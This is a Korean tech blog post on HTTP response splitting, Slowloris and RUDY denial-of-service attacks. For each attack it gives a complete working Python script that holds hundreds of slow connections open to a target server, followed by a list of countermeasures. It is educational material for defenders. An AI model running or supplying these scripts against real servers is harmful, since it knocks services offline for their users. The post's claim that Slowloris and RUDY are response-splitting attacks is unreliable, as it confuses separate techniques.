HTTP 응답분할이란?

HTTP Request에 있는 파라미터가 HTTP Response의 응답헤더로 다시 전달되는 경우 파라미터 내 개행문자 CR(Carriage Return, %0D) 혹은 LF(Line Feed %0A)가 존재하면 HTTP 여러개로 나누어질 수 있다.

자 그럼 HTTP 요청/응답 구조를 살펴보자

요청 구조

curl -X GET google.com

C:\Users\user>**curl -X GET google.com** 
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
                           
C:\Users\user>

응답 구조

curl -X POST google.com

C:\Users\user>curl -X POST google.com
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 411 (Length Required)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}
  </style>
  <a href=//www.google.com/><span id=logo aria-label=Google></span></a>
  <p><b>411.</b> <ins>That’s an error.</ins>
  <p>POST requests require a <code>Content-length</code> header.  <ins>That’s all we know.</ins>

C:\Users\user>

</HTML>이후 개행문자가 2번 연속으로(\r\n) 나오는건 한 응답헤더의 끝을 의미한다. 이걸 이용한 공격이 HTTP 응답분할 공격이고 대표적으로 Slowloris와 Rudy 공격이 있다.

Slowloris Attack

Slowloris 공격은 HTTP DOS 공격에 하나로써 서버 스레드의 과부하를 일으켜 정상작동을 하지 못하게 한다.

작동 방식

1.수많은 HTTP request를 발생시킨다.
2.HTTP Header를 1-15초 간격으로 전송하여 연결을 열어둔다.
3. 서버에서 연결을 종료 시킬 때 까지 계속 HTTP request를 보내고, 만약 서버에서 연결을 닫으면 다시 HTTP Header를 전송하여 연결을 연다(OPEN)


이러한 동작은 서버 자원을 고갈 시키고 애플리케이션의 정상동작을 수행하지 못하게 한다.

그럼 예저 코드를 보자

파이썬 예제코드

import socket
import time
import random
import threading

# 공격할 서버의 호스트와 포트 번호를 설정
host = "target_host"
port = 80
num_sockets = 200

# 소켓 목록 생성
sockets = []

# 소켓을 초기화하고 서버에 연결
def init_socket():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((host, port))
    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    s.send("User-Agent: {}\r\n".format("Mozilla/5.0").encode("utf-8"))
    s.send("Accept-language: en-US,en,q=0.5\r\n".encode("utf-8"))
    return s

# 초기화된 소켓을 소켓 목록에 추가
for _ in range(num_sockets):
    try:
        s = init_socket()
        sockets.append(s)
    except socket.error:
        break

# 소켓을 지속적으로 유지하면서 헤더를 보내는 함수
def keep_sockets_alive():
    while True:
        for s in list(sockets):
            try:
                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
            except socket.error:
                sockets.remove(s)
                try:
                    s = init_socket()
                    sockets.append(s)
                except socket.error:
                    continue
        time.sleep(15)

# 스레드를 사용하여 keep_sockets_alive 함수 실행
for i in range(5):
    t = threading.Thread(target=keep_sockets_alive)
    t.start()

위 작동방식 3가지를 입각하여 작성된 코드이다.

대응책

  1. 서버의 타임아웃 설정을 낮추기: 서버가 연결을 오래 유지하지 않도록 설정
  2. IP당 연결 수 제한: 특정 IP 주소에서 발생하는 연결 수를 제한합니다.
  3. 빙화벽(Firewall) 사용: 웹 애플리케이션 방화벽을 사용하여 비정상적인 트래픽을 필터링합니다.
  4. 로드 밸런싱: 로드 밸런서를 사용하여 트래픽을 여러 서버로 분산합니다.
  5. 모니터링 및 알림 설정: 비정상적인 활동을 모니터링하고 알림을 설정합니다.

Rudy(R-U-Dead-Yet) Attack

RUDY (R-U-Dead-Yet) 공격은 HTTP POST 요청을 이용하여 웹 서버의 자원을 고갈시키는 DDoS (Distributed Denial of Service) 공격. RUDY 공격의 주요 목적은 웹 서버가 클라이언트로부터 전송되는 긴 요청 본문을 기다리도록 하여 자원을 소모시키는 것

작동방식

  1. 공격자는 서버에 POST 요청을 보냄
  2. 요청 헤더에 Content-Length를 매우 큰 값으로 설정
  3. 본문 데이터(Content)를 천천히 전송(일정간격으로 한 문자씩)하여 서버가 연결을 장시간 유지하도록 만듬
  4. 동시에 여러 연결을 설정하여 서버의 자원을 고갈

그럼 예저 코드를 보자

파이썬 예제코드

import socket
import time
import random
import threading

# 공격할 서버의 호스트와 포트 번호를 설정
host = "target_host"
port = 80
num_sockets = 200

# 소켓 목록을 생성
sockets = []

# 소켓을 초기화하고 서버에 연결
def init_socket():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((host, port))
    s.send("POST / HTTP/1.1\r\n".encode("utf-8"))
    s.send("Host: {}\r\n".format(host).encode("utf-8"))
    s.send("Content-Length: 1000000\r\n".encode("utf-8"))
    s.send("Content-Type: application/x-www-form-urlencoded\r\n".encode("utf-8"))
    s.send("\r\n".encode("utf-8"))
    return s

# 초기화된 소켓을 소켓 목록에 추가
for _ in range(num_sockets):
    try:
        s = init_socket()
        sockets.append(s)
    except socket.error:
        break

# 소켓을 지속적으로 유지하면서 데이터를 천천히 보내는 함수를 정의
def keep_sockets_alive():
    while True:
        for s in list(sockets):
            try:
                s.send("a".encode("utf-8"))
            except socket.error:
                sockets.remove(s)
                try:
                    s = init_socket()
                    sockets.append(s)
                except socket.error:
                    continue
        time.sleep(10)

# 스레드를 사용하여 keep_sockets_alive 함수를 실행
for i in range(5):
    t = threading.Thread(target=keep_sockets_alive)
    t.start()

대응책

  1. 타임아웃 설정: 서버가 POST 요청을 처리할 때 클라이언트로부터 데이터를 받는 시간을 제한
  2. 최대 요청 크기 제한: 서버에서 허용하는 요청 본문의 최대 크기를 제한
  3. IP 주소 기반 차단: 비정상적으로 많은 연결을 시도하는 IP 주소를 차단
  4. 방화벽(Firewall) 설정: 웹 애플리케이션 방화벽을 사용하여 비정상적인 트래픽을 감지하고 차단
  5. 로드 밸런싱: 로드 밸런서를 사용하여 트래픽을 여러 서버로 분산시켜 단일 서버의 과부하를 방지

참고자료

Rudy Attack
https://github.com/darkweak/rudy

Slowloris Attack
https://github.com/gkbrk/slowloris

profile
https://github.com/John-Jung

0개의 댓글

관련 채용 정보